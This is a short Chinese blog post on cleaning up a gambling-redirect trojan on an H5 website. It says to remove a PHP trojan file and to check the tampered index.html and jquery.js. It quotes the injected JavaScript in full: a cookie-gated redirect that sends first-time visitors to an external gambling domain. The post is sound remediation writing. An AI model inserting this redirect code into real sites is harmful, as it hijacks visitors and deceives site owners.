h5网站中赌博木马病毒半岛体育解决办法

中毒后,打开首页默认跳转到半岛体育赌博网站,后检查后发现,在css或js目录下有一个PHP文件,是木马文件,但是清理后,还是跳转到赌博网站。

此时还要注意,病毒修改了,index.HTML文件代码里的开头部分 和jquery.js文件。写入了如下内容:

var c = document.cookie;

     if (c.indexOf('isfirstvisited=false') != -1) {

       

     }

     else {

         var d = new Date();

         d.setFullYear(d.getFullYear() + 1);

         document.cookie = 'isfirstvisited=false;expires=' + d.toGMTString();

         location = 'https://897232.top'

     }

你可能感兴趣的:(前端开发,学习笔记,服务器,运维,运维开发)